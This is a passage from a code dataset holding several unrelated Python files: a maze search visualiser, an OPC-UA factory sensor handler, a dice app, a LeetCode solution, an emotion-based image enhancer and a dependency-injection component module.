\n Returns:\n list of tuples, list of positions to traverse from start to end\n '''\n self.disable_buttons()\n self.dfs_counter = 0 # Reset counter\n self.dfs_path = [] # Reset path\n self.draw_maze(self.canvas_dfs)\n start_node = Node(position = self.start, parent = None)\n stack = [start_node] # Use stack as data structure\n visited = set() # Create a set of visited nodes\n\n while len(stack) > 0: # Keep searching until stack is empty\n\n current_node = stack.pop(-1)\n\n # Update info in application window\n self.dfs_counter += 1\n self.draw_path_circle(current_node, self.canvas_dfs, COLOUR['path_dfs'], self.dfs_counter)\n self.update_text()\n\n visited.add(current_node.position)\n\n if current_node.position == self.end:\n path = [] # Find path by seeking through all parents node\n while current_node is not None:\n path.append(current_node.position)\n current_node = current_node.parent\n\n self.dfs_path = path[::-1] # Reverse the list of nodes\n self.draw_path_all(self.dfs_path, self.canvas_dfs, COLOUR['path_dfs'])\n self.update_text()\n return path\n\n # From current cell, traverse to all possible nodes (W, S, E, N)\n for row_change, column_change in [(0, -1), (1, 0), (0, 1), (-1, 0)]:\n new_row = current_node.position[0] + row_change\n new_column = current_node.position[1] + column_change\n\n # Check if adjacent cell is a valid path\n # Valid path must be in range of maze boundaries\n # Valid path must not be a wall\n if (\n (0 <= new_row < len(self.maze)) and (0 <= new_column < len(self.maze[0])) and\n (self.maze[new_row][new_column] != 1) and ((new_row, new_column) not in visited)\n ):\n # Set current node as parent and add current node to stack\n stack.append(Node(position = (new_row, new_column), parent = current_node))\n\n self.dfs_path = 'DFS: no solution found'\n self.update_text()\n\n\n def start_astar(self):\n '''\n Function Name: start_dfs\n Starts the A* search algorithm to traverse a maze\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n \n Returns:\n list of tuples, list of positions to traverse from start to end\n '''\n self.disable_buttons()\n # self.draw_maze(self.canvas_astar)\n self.astar_counter = 0 # Reset counter\n self.astar_path = [] # Reset path\n self.draw_maze(self.canvas_astar)\n start_node = Node(self.start, None)\n pqueue = PriorityQueue() # Instantiate a priority queue\n pqueue.put(start_node)\n visited = set() # Create a set of visited nodes\n\n while not pqueue.empty(): # Keep searching until priority queue is empty\n \n current_node = pqueue.get() # Takes out the node with least cost\n\n #Update info in application window\n self.astar_counter += 1\n self.draw_path_circle(current_node, self.canvas_astar, COLOUR['path_astar'], self.astar_counter)\n self.update_text()\n\n visited.add(current_node.position)\n\n if current_node.position == self.end:\n path = [] # Find path by seeking through all parents node\n while current_node is not None:\n path.append(current_node.position)\n current_node = current_node.parent\n\n self.astar_path = path[::-1] # Reverse the list of nodes\n self.draw_path_all(self.astar_path, self.canvas_astar, COLOUR['path_astar'])\n self.update_text()\n return path\n\n # From current cell, find all possible nodes (N, E, S, W) \n for row_change, column_change in [(-1, 0), (0, 1), (1, 0), (0, -1)]:\n new_row = current_node.position[0] + row_change\n new_column = current_node.position[1] + column_change\n\n # Check if adjacent cell is a valid path\n # Valid path must be in range of maze boundaries\n # Valid path must not be a wall\n if (\n (0 <= new_row < len(self.maze)) and (0 <= new_column < len(self.maze[0])) and\n (self.maze[new_row][new_column] != 1) and ((new_row, new_column) not in visited)\n and all((new_row, new_column) != node.position for node in pqueue.queue)\n ):\n \n # Distance from new cell to end cell:\n # Calculate heuristic using Manthttan distance\n # h = abs(x - x_end) + abs(y - y_end)\n new_h = abs(new_row - self.end[0]) + abs(new_column - self.end[1])\n new_g = current_node.g + 1 # Update cost from current cell to new cell\n\n # Set current node as parent and add current node to priority queue\n new_node = Node(position = (new_row, new_column), parent = current_node, g = new_g, h = new_h)\n pqueue.put(new_node)\n\n self.astar_path = 'A Star: no solution found'\n self.update_text()\n\n \n def draw_maze(self, canvas):\n '''\n Function Name: draw_maze\n Draw the maze on the canvas widget\n \n Parameters:\n canvas -- Canvas, widget in tkinter, used for drawing shapes\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n # Iterate through all cells in maze\n for row in range(len(self.maze)):\n for column in range(len(self.maze[0])):\n if self.maze[row][column] == 1: # Cell is a wall\n canvas.create_rectangle(\n column * CELL_SIZE, # pixels, horizontal distance to left edge\n row * CELL_SIZE, # pixels, vertical distance to upper edge\n column * CELL_SIZE + CELL_SIZE, # pixels, horizontal distance to right edge\n row * CELL_SIZE + CELL_SIZE, # pixels, vertical distance to lower edge\n fill = COLOUR['wall']\n )\n else:\n canvas.create_rectangle(\n column * CELL_SIZE,\n row * CELL_SIZE,\n column * CELL_SIZE + CELL_SIZE,\n row * CELL_SIZE + CELL_SIZE,\n fill = COLOUR['empty']\n )\n\n\n def draw_path_circle(self, current_node, canvas, colour, counter):\n '''\n Function Name: draw_path_circle\n Draws a small circle in an empty cell\n \n Parameters:\n current_node -- Node, represents a node with position and parent\n canvas -- Canvas, widget in tkinter, used for drawing shapes\n colour -- str, colour used to draw the path\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n row, column = current_node.position\n for size in (0.20, 0.50, 0.70):\n self.wait(ANIMATION_INTERVAL)\n canvas.create_oval(\n column * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n row * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n column * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n row * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n fill = colour\n )\n canvas.create_text(\n column * CELL_SIZE + 0.5 * CELL_SIZE,\n row * CELL_SIZE + 0.5 * CELL_SIZE,\n text = counter,\n fill = COLOUR['font'],\n font = FONT['cell']\n )\n\n\n def draw_path_all(self, path, canvas, colour):\n '''\n Function Name: draw_path_all\n Draws the entire path solution on canvas\n \n Parameters:\n path -- list of tuples, list of positions from start to finish\n canvas -- Canvas, widget in tkinter, used for drawing shapes\n colour -- str, colour used to draw the path\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n # Plot solution path\n for row, column in path:\n self.wait(ANIMATION_INTERVAL)\n if (row, column) == path[0]:\n for size in (1.00, 0.75):\n self.wait(ANIMATION_INTERVAL)\n canvas.create_rectangle(\n column * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n row * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n column * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n row * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n fill = COLOUR['start']\n )\n canvas.create_text(\n column * CELL_SIZE + 0.5 * CELL_SIZE,\n row * CELL_SIZE + 0.5 * CELL_SIZE,\n text = 'S',\n fill = COLOUR['font'],\n font = FONT['cell']\n )\n\n elif (row, column) == path[-1]:\n for size in (1.00, 0.75):\n self.wait(ANIMATION_INTERVAL)\n canvas.create_rectangle(\n column * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n row * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n column * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n row * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n fill = COLOUR['end']\n )\n canvas.create_text(\n column * CELL_SIZE + 0.5 * CELL_SIZE,\n row * CELL_SIZE + 0.5 * CELL_SIZE,\n text = 'E',\n fill = COLOUR['font'],\n font = FONT['cell']\n )\n \n else:\n for size in (1.00,):\n self.wait(ANIMATION_INTERVAL)\n canvas.create_rectangle(\n column * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n row * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n column * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n row * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n fill = colour\n )\n self.enable_buttons()\n\n\n def update_text(self):\n '''\n Function Name: update_text\n Updates the message window with search results\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n text_bfs = (\n f\"Steps:\\t{self.bfs_counter}\\n\"\n f\"Length:\\t{len(self.bfs_path)}\\n\"\n f\"Path:\\t{str(self.bfs_path)[1 : -1]}\\n\"\n )\n self.label_bfs_results.config(text = text_bfs)\n\n text_dfs = (\n f\"Steps:\\t{self.dfs_counter}\\n\"\n f\"Length:\\t{len(self.dfs_path)}\\n\"\n f\"Path:\\t{str(self.dfs_path)[1 : -1]}\\n\"\n )\n self.label_dfs_results.config(text = text_dfs)\n\n text_astar = (\n f\"Steps:\\t{self.astar_counter}\\n\"\n f\"Length:\\t{len(self.astar_path)}\\n\"\n f\"Path:\\t{str(self.astar_path)[1 : -1]}\\n\"\n )\n self.label_astar_results.config(text = text_astar)\n\n\n def disable_buttons(self):\n self.button_bfs['state'] = 'disabled'\n self.button_dfs['state'] = 'disabled'\n self.button_astar['state'] = 'disabled'\n\n\n def enable_buttons(self):\n self.button_bfs['state'] = 'normal'\n self.button_dfs['state'] = 'normal'\n self.button_astar['state'] = 'normal'\n\n\n def wait(self, time):\n '''\n Function Name: wait\n Pauses the event for a specific time in milliseconds\n \n Parameters:\n time -- int, in milliseconds\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n var = tk.IntVar()\n self.master.after(time, var.set, 1)\n self.master.wait_variable(var)\n\n\ndef main():\n # 1 is wall; 0 is empty\n maze = [\n [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],\n [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1],\n [1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1],\n [1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1],\n [1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1],\n [1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1],\n [1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1],\n [1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1],\n [1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1],\n [1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1],\n [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1],\n [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n ]\n '''\n Example 1:\n ----------\n Start and end are far away\n BFS - more steps, shorter path\n DFS - less steps, longer path\n '''\n start = (10, 1)\n end = (1, 10)\n\n '''\n Example 2:\n ----------\n Start and end are close together\n BFS - less steps, shorter path\n DFS - more steps, longer path\n '''\n # start = (3, 8)\n # end = (8, 3)\n \n master = tk.Tk()\n application = Application(master, maze, start, end)\n application.build_window()\n master.mainloop()\n\nif __name__ == '__main__':\n main()\n\n\n \n","repo_name":"macarious/Maze-Traversal-Demo","sub_path":"maze_traversal.py","file_name":"maze_traversal.py","file_ext":"py","file_size_in_byte":23425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11002195190","text":"import logging\nfrom Optimizer.transfgraph import Operation\n\n\nclass SubHandler:\n\t\"\"\"\n\tGeneric Subscription Handler. To receive events from server for a subscription\n\tDo not use heavy methods inside this class\n\t\"\"\"\n\n\tdef __init__(self, logger=logging.getLogger(__name__)):\n\t\tself._logger = logger\n\n\tdef datachange_notification(self, node, val, data):\n\t\t\"\"\"\n\t\tcalled for every datachange notification from server\n\t\t\"\"\"\n\t\tself._logger.debug(\"Update {}:\\t {}\".format(node, val))\n\n\tdef event_notification(self, event):\n\t\t\"\"\"\n\t\tcalled for every event notification from server\n\t\t\"\"\"\n\t\tself._logger.debug(\"Event :\\t {}\".format(event))\n\n\tdef status_change_notification(self, status):\n\t\t\"\"\"\n\t\tcalled for every status change notification from server\n\t\t\"\"\"\n\t\tself._logger.debug(\"Status Update :\\t {}\".format(status))\n\n\nclass OptimizerSubHandler(SubHandler):\n\t\"\"\"\n\tSubscription handler to be used with optimizer for\n\tsensor and actuator updates.\n\t\"\"\"\n\n\tdef __init__(self, optimizer, cond, cond_p1, cond_p2, cond_pusher_1, cond_pusher_2, cond_pusher_3, logger=logging.getLogger(__name__)):\n\t\tSubHandler.__init__(self, logger)\n\t\tself.optimizer = optimizer\n\t\tself.encoding = {\"c1t3\": \"Ma_1\", \"c1t4\": \"Mb_1\", \"c1t5\": \"Mc_1\",\n\t\t\t\t\t\t \"c3t3\": \"Ma_2\", \"c3t4\": \"Mb_2\", \"c3t5\": \"Mc_2\",\n\t\t\t\t\t\t \"c5t3\": \"Ma_3\", \"c5t4\": \"Mb_3\", \"c5t5\": \"Mc_3\"}\n\t\tself.cond = cond\n\t\tself.cond_p1 = cond_p1\n\t\tself.cond_p2 = cond_p2\n\t\tself.cond_pusher_1 = cond_pusher_1\n\t\tself.cond_pusher_2 = cond_pusher_2\n\t\tself.cond_pusher_3 = cond_pusher_3\n\n\tdef datachange_notification(self, node, val, data):\n\t\t\"\"\"\n\t\tOverrides parent class method to update optimizer state\n\t\t#TODO: esta funçao tem q ser rapida por isso convem\n\t\t\t\tdepois trocar procuras por dicionarios hardcoded.\n\t\t\"\"\"\n\n\t\tself.optimizer.factory_state[str(node.nodeid.Identifier)] = val\n\t\tself._logger.debug(\"Update {}:\\t {}\".format(node, val))\n\t\tif val is True:\n\t\t\t# só quero ver qnd ficam true depois pode-se tirar isto\n\t\t\t# print(f'Change on {node.nodeid.Identifier}: {val}')\n\t\t\tpass\n\t\t# CRIAR OUTRO SUB HANDLER\n\t\tif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.tapetes.at1.Init.x\" and val is True:\n\t\t\tprint(\"Release the prisioners\")\n\t\t\tself.cond.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.c7t1b_i.sensor\" and val is True:\n\t\t\tprint(\"LOCK AND LOAD1\")\n\t\t\tself.cond_p1.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.c7t7b_i.sensor\" and val is True:\n\t\t\tprint(\"LOCK AND LOAD2\")\n\t\t\tself.cond_p2.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.vazio_ramp1\" and val is True:\n\t\t\tprint('UNLOAD SERVICES 1 !!!!')\n\t\t\tself.optimizer.pusher.count_1 = 0\n\t\t\tself.cond_pusher_1.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.vazio_ramp2\" and val is True:\n\t\t\tprint('UNLOAD SERVICES 2 !!!!')\n\t\t\tself.optimizer.pusher.count_2 = 0\n\t\t\tself.cond_pusher_2.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.vazio_ramp3\" and val is True:\n\t\t\tprint('UNLOAD SERVICES 3 !!!!')\n\t\t\tself.optimizer.pusher.count_3 = 0\n\t\t\tself.cond_pusher_3.set()\n\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.piece_array[2].id\" and val != 0:\n\t\t\tprint(f\"Piece {val} complete\")\n\t\t\tself.optimizer.tracker.mark_complete(int(val))\n\t\t\tself.optimizer.tracker.print_tracking_info()\n\t\t\tself.optimizer.tracker.print_order_status()\n \n\t\t##UNLOAD 1 \n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.la_vai1\" and val != 0:\n\t\t\tprint(f\"Piece {val} unload complete\")\n\t\t\tself.optimizer.tracker.mark_unloaded(int(val))\n\t\t\tself.optimizer.tracker.print_tracking_info()\n\t\t\tself.optimizer.tracker.print_order_status()\n\t\t##UNLOAD 2 \n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.la_vai2\" and val != 0:\n\t\t\tprint(f\"Piece {val} unload complete\")\n\t\t\tself.optimizer.tracker.mark_unloaded(int(val))\n\t\t\tself.optimizer.tracker.print_tracking_info()\n\t\t\tself.optimizer.tracker.print_order_status() \n\t\t##UNLOAD 3 \n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.la_vai3\" and val != 0:\n\t\t\tprint(f\"Piece {val} unload complete\")\n\t\t\tself.optimizer.tracker.mark_unloaded(int(val))\n\t\t\tself.optimizer.tracker.print_tracking_info()\n\t\t\tself.optimizer.tracker.print_order_status()\n \n \n\t\tfor machine in self.encoding.keys():\n\t\t\tif machine in str(node.nodeid.Identifier):\n\t\t\t\tif \"op\" in str(node.nodeid.Identifier) and val is True:\n\t\t\t\t\tself.optimizer.state.machines[self.encoding[machine]].remove_op()\n\t\t\t\t\tself.optimizer.state.machines[self.encoding[machine]].op_list[0].update_next_tool()\n\n\t\t\t\telif \"Init\" in str(node.nodeid.Identifier) and val is True:\n\t\t\t\t\tself.optimizer.state.machines[self.encoding[machine]].make_available()\n\t\t\t\tbreak\n\n\t\tself.optimizer.update_state(node.nodeid.Identifier, val)\n\t# self.optimizer.print_state()\n","repo_name":"AndreTeixeira1998/II_Project","sub_path":"OPC_UA/subhandles.py","file_name":"subhandles.py","file_ext":"py","file_size_in_byte":5073,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"70024778374","text":"from tkinter import *\r\nimport random\r\ntop=Tk()\r\ndef dice():\r\n\ta=random.randrange(1,7)\r\n\tc.configure(text=str(a))\r\nd=Label(top,text=\"Welcome to roll dice\",fg=\"red\")\r\nd.pack()\r\ne=Label(top,text=\"click the \\\"roll dice\\\" button to roll the dice\",fg=\"green\")\r\ne.pack()\r\nb=Button(top,text=\"roll dice \",command=dice,relief=\"raise\",bd=25,bg=\"white\",fg=\"red\")\r\nb.pack(side=\"left\")\r\nc=Label(top,text=\"\",fg=\"white\",bg=\"black\")\r\nc.pack(side=\"right\")\r\ntop.mainloop()\r\n\r\n\r\n#program to roll a dice\r\n#using tkinter\r\n","repo_name":"Harshit26042004/My-first-project","sub_path":"dice tk.py","file_name":"dice tk.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"14287451929","text":"#\n# @lc app=leetcode id=739 lang=python3\n#\n# [739] Daily Temperatures\n#\n# https://leetcode.com/problems/daily-temperatures/description/\n#\n# algorithms\n# Medium (66.55%)\n# Likes: 8582\n# Dislikes: 202\n# Total Accepted: 490.4K\n# Total Submissions: 737K\n# Testcase Example: '[73,74,75,71,69,72,76,73]'\n#\n# Given an array of integers temperatures represents the daily temperatures,\n# return an array answer such that answer[i] is the number of days you have to\n# wait after the i^th day to get a warmer temperature. If there is no future\n# day for which this is possible, keep answer[i] == 0 instead.\n# \n# \n# Example 1:\n# Input: temperatures = [73,74,75,71,69,72,76,73]\n# Output: [1,1,4,2,1,1,0,0]\n# Example 2:\n# Input: temperatures = [30,40,50,60]\n# Output: [1,1,1,0]\n# Example 3:\n# Input: temperatures = [30,60,90]\n# Output: [1,1,0]\n# \n# \n# Constraints:\n# \n# \n# 1 <= temperatures.length <= 10^5\n# 30 <= temperatures[i] <= 100\n# \n# \n#\n\n# @lc code=start\nclass Solution:\n def dailyTemperatures(self, temperatures: List[int]) -> List[int]:\n lst=[0]*len(temperatures)\n for i in range(len(temperatures)):\n count=0\n for j in range(i+1,len(temperatures)):\n if(temperatures[i] {v}')\n","repo_name":"bozhikovstanislav/Python-Fundamentals","sub_path":"List-Dictionarys/Dictionary_HomeWork/05.MixedPhone.py","file_name":"05.MixedPhone.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38042833767","text":"from mtcnn import MTCNN\r\nimport cv2\r\nfrom deepface import DeepFace\r\nfrom keras.models import load_model\r\nfrom keras.preprocessing import image\r\nfrom numpy import load\r\nfrom numpy import expand_dims\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport imageio\r\nimport os\r\nimport tensorflow\r\n# import keras.backend as tb\r\n# import keras.backend.tensorflow_backend as tb\r\nfrom keras import backend as K\r\nfrom keras import losses\r\n# import tensorflow as tf\r\n# tb._SYMBOLIC_SCOPE.value = True\r\n\r\n# nima_model=load_model('models/NIMA.h5')\r\n\r\nclass ImageUtils:\r\n\r\n def __init__(self, up_image):\r\n self.uploadedImage = up_image\r\n\r\n def validate_image(self):\r\n validate_image = cv2.imread(self.uploadedImage)\r\n face_detector = MTCNN()\r\n faces_n = face_detector.detect_faces(validate_image)\r\n print(len(faces_n))\r\n if len(faces_n) == 1:\r\n return True\r\n else:\r\n return False\r\n\r\n def pre_process_img(self):\r\n\r\n up_img = Image.open(self.uploadedImage)\r\n up_img = up_img.resize((512, 512), Image.ANTIALIAS)\r\n up_array = image.img_to_array(up_img)\r\n up_array = np.expand_dims(up_array, axis=0)\r\n up_array /= 255.\r\n\r\n return up_array\r\n\r\n\r\nclass EmotionDetector:\r\n\r\n def __init__(self, up_image):\r\n self.uploadedImage = up_image\r\n\r\n def getEmotion(self):\r\n demography = DeepFace.analyze(self.uploadedImage)\r\n final_emotion = demography['dominant_emotion']\r\n print(final_emotion)\r\n if final_emotion == \"neutral\":\r\n\r\n sad_perc = demography['emotion']['sad']\r\n happy_perc = demography['emotion']['happy']\r\n print(demography['emotion'])\r\n if sad_perc > happy_perc:\r\n final_emotion = \"sad\"\r\n else:\r\n final_emotion = \"happy\"\r\n elif final_emotion == \"sad\" or final_emotion == \"happy\":\r\n final_emotion = final_emotion\r\n else:\r\n final_emotion = \"invalid\"\r\n\r\n return final_emotion\r\n\r\n\r\ndef mean_score(scores):\r\n si = K.arange(1, 11, 1)\r\n sc = K.cast(scores, 'float32')\r\n si = K.cast(si, 'float32')\r\n mean = K.sum(sc * si)\r\n return mean\r\n\r\n\r\ndef std_score(scores):\r\n si = K.arange(1, 11, 1)\r\n mean = mean_score(scores)\r\n si = K.cast(si, 'float32')\r\n mean = K.cast(mean, 'float32')\r\n std = K.sqrt(K.sum(((si - mean) ** 2) * scores))\r\n return std\r\n\r\n#\r\n# def NIMA_Loss(y_true, y_pred):\r\n# gamma = 0.0001\r\n# # Pre-processing y-pred before sending to the NIMA model\r\n# num_ex = K.shape(y_pred)[0]\r\n# y_img = tf.image.resize(y_pred, (224, 224))\r\n# # Getting Predicted score from NIMA model\r\n# y_p = nima_model(K.reshape(y_img, (num_ex, 224, 224, 3)))\r\n# scores = y_p\r\n# # Getting Final predicted score\r\n# finalScore = mean_score(scores) + std_score(scores)\r\n# # Getting Final Loss\r\n# finalLoss = losses.mean_absolute_error(y_true, y_pred) + gamma * (10 - finalScore)\r\n#\r\n# return finalLoss\r\n\r\n\r\nclass ImageEnhancer:\r\n\r\n def __init__(self, up_image, image_utils):\r\n\r\n self.processedImage = image_utils.pre_process_img()\r\n self.happypath = 'models/EnhModelHappyFinal.h5'\r\n self.sadpath = 'models/EnhModelsadFinal.h5'\r\n\r\n og_img = Image.open(up_image)\r\n self.orig_image = np.asarray(og_img)\r\n\r\n def enhance_image(self, sent_parameter, savepath, o_filename):\r\n\r\n if sent_parameter == \"happy\":\r\n happyModel = load_model(self.happypath, compile=False)\r\n gen_image = happyModel.predict(self.processedImage)\r\n gen_image = gen_image.reshape(gen_image.shape[1:])\r\n elif sent_parameter == \"sad\":\r\n sadModel = load_model(self.sadpath, compile=False)\r\n gen_image = sadModel.predict(self.processedImage)\r\n gen_image = gen_image.reshape(gen_image.shape[1:])\r\n\r\n final_image = cv2.resize(gen_image,\r\n (int(self.orig_image.shape[1] / 2), int(self.orig_image.shape[0] / 2)),\r\n interpolation=cv2.INTER_AREA)\r\n final_image = cv2.normalize(final_image, None, 0, 255, cv2.NORM_MINMAX, cv2.CV_8U)\r\n\r\n final_name = \"enh_\" + o_filename\r\n\r\n temp_path = os.path.join(savepath, final_name)\r\n\r\n imageio.imwrite(temp_path, final_image)\r\n\r\n return temp_path\r\n\r\n\r\n\r\nclass ImageComparison:\r\n\r\n def __init__(self, original_image, enhanced_image):\r\n\r\n self.originalImage = cv2.imread(original_image)\r\n self.enhancedImage = cv2.imread(enhanced_image)\r\n self.hsv_og = cv2.cvtColor(self.originalImage, cv2.COLOR_BGR2HSV)\r\n self.hsv_enh = cv2.cvtColor(self.enhancedImage, cv2.COLOR_BGR2HSV)\r\n\r\n def get_brightness(self):\r\n\r\n _, _, v = cv2.split(self.hsv_og)\r\n _, _, v1 = cv2.split(self.hsv_enh)\r\n\r\n og_brightness = int(np.average(v.flatten()))\r\n enh_brightness = int(np.average(v1.flatten()))\r\n\r\n brightness_change = enh_brightness - og_brightness\r\n\r\n if brightness_change > 0:\r\n bright_str = \"+ \" + str(brightness_change)\r\n else:\r\n bright_str = str(brightness_change)\r\n\r\n return bright_str\r\n\r\n def get_hue(self):\r\n\r\n h, _, _ = cv2.split(self.hsv_og)\r\n\r\n h1, _, _ = cv2.split(self.hsv_enh)\r\n\r\n og_hue = int(np.average(h.flatten()))\r\n enh_hue = int(np.average(h1.flatten()))\r\n\r\n hue_change = enh_hue - og_hue\r\n\r\n if hue_change > 0:\r\n hue_str = \"+ \" + str(hue_change)\r\n else:\r\n hue_str = str(hue_change)\r\n\r\n return hue_str\r\n\r\n def get_saturation(self):\r\n\r\n _, s, _ = cv2.split(self.hsv_og)\r\n\r\n _, s1, _ = cv2.split(self.hsv_enh)\r\n\r\n og_saturation = int(np.average(s.flatten()))\r\n enh_saturation = int(np.average(s1.flatten()))\r\n\r\n saturation_change = enh_saturation - og_saturation\r\n\r\n if saturation_change > 0:\r\n saturation_str = \"+ \" + str(saturation_change)\r\n else:\r\n saturation_str = str(saturation_change)\r\n\r\n return saturation_str\r\n\r\n def get_contrast(self):\r\n\r\n lab_og = cv2.cvtColor(self.originalImage, cv2.COLOR_BGR2LAB)\r\n lab_enh = cv2.cvtColor(self.enhancedImage, cv2.COLOR_BGR2LAB)\r\n\r\n L, _, _ = cv2.split(lab_og)\r\n\r\n L1, _, _ = cv2.split(lab_enh)\r\n\r\n kernel = np.ones((5, 5), np.uint8)\r\n min = cv2.erode(L, kernel, iterations=1)\r\n max = cv2.dilate(L, kernel, iterations=1)\r\n\r\n min = min.astype(np.float64)\r\n max = max.astype(np.float64)\r\n\r\n contrast = (max - min) / (max + min)\r\n\r\n average_contrast_og = 100 * np.mean(contrast)\r\n\r\n kernel = np.ones((5, 5), np.uint8)\r\n min = cv2.erode(L1, kernel, iterations=1)\r\n max = cv2.dilate(L1, kernel, iterations=1)\r\n\r\n min = min.astype(np.float64)\r\n max = max.astype(np.float64)\r\n\r\n contrast = (max - min) / (max + min)\r\n\r\n average_contrast_enh = 100 * np.mean(contrast)\r\n\r\n contrast_change = average_contrast_enh - average_contrast_og\r\n\r\n if contrast_change > 0:\r\n contrast_str = \"+ \" + str(int(contrast_change))\r\n else:\r\n contrast_str = str(int(contrast_change))\r\n\r\n return contrast_str\r\n\r\n def get_histogram(self, chartpath):\r\n vals = self.enhancedImage.mean(axis=2).flatten()\r\n b, bins, patches = plt.hist(vals, 255)\r\n plt.xlim([0, 255])\r\n temp_path = os.path.join(chartpath, 'histogram.png')\r\n plt.savefig(temp_path)\r\n\r\n return temp_path\r\n","repo_name":"amr3sh/Phaedra_BE","sub_path":"EnhancementPy.py","file_name":"EnhancementPy.py","file_ext":"py","file_size_in_byte":7652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32357521455","text":"import asyncio\nimport inspect\nimport typing as t\n\nfrom flama.injection.exceptions import ComponentNotFound\nfrom flama.injection.resolver import Parameter\n\n__all__ = [\"Component\", \"Components\"]\n\n\nclass Component:\n def identity(self, parameter: Parameter) -> str:\n \"\"\"Each component needs a unique identifier string that we use for lookups from the `state` dictionary when we\n run the dependency injection.\n\n :param parameter: The parameter to check if that component can handle it.\n :return: Unique identifier.\n \"\"\"\n try:\n parameter_type = parameter.type.__name__\n except AttributeError:\n parameter_type = parameter.type.__class__.__name__\n component_id = f\"{id(parameter.type)}:{parameter_type}\"\n\n # If `resolve_parameter` includes `Parameter` then we use an identifier that is additionally parameterized by\n # the parameter name.\n args = inspect.signature(self.resolve).parameters.values() # type: ignore[attr-defined]\n if Parameter in [arg.annotation for arg in args]:\n component_id += f\":{parameter.name.lower()}\"\n\n return component_id\n\n def can_handle_parameter(self, parameter: Parameter) -> bool:\n \"\"\"The default behavior is for components to handle whatever class is used as the return annotation by the\n `resolve` method.\n\n You can override this for more customized styles, for example if you wanted name-based parameter resolution, or\n if you want to provide a value for a range of different types.\n\n :param parameter: The parameter to check if that component can handle it.\n :return: True if this component can handle the given parameter.\n \"\"\"\n return_annotation = inspect.signature(self.resolve).return_annotation # type: ignore[attr-defined]\n assert return_annotation is not inspect.Signature.empty, (\n f\"Component '{self.__class__.__name__}' must include a return annotation on the 'resolve' method, or \"\n f\"override 'can_handle_parameter'\"\n )\n\n return parameter.type is return_annotation\n\n def signature(self) -> t.Dict[str, Parameter]:\n \"\"\"Component resolver signature.\n\n :return: Component resolver signature.\n \"\"\"\n return {\n k: Parameter.from_parameter(v)\n for k, v in inspect.signature(self.resolve).parameters.items() # type: ignore[attr-defined]\n }\n\n async def __call__(self, *args, **kwargs):\n \"\"\"Performs a resolution by calling this component's resolve method.\n\n :param args: Resolve positional arguments.\n :param kwargs: Resolve keyword arguments.\n :return: Resolve result.\n \"\"\"\n if asyncio.iscoroutinefunction(self.resolve):\n return await self.resolve(*args, **kwargs)\n\n return self.resolve(*args, **kwargs)\n\n def __str__(self) -> str:\n return str(self.__class__.__name__)\n\n\nclass Components(t.Tuple[Component, ...]):\n def __new__(cls, components=None):\n return super().__new__(cls, components or [])\n\n def __eq__(self, other: t.Any) -> bool:\n try:\n return 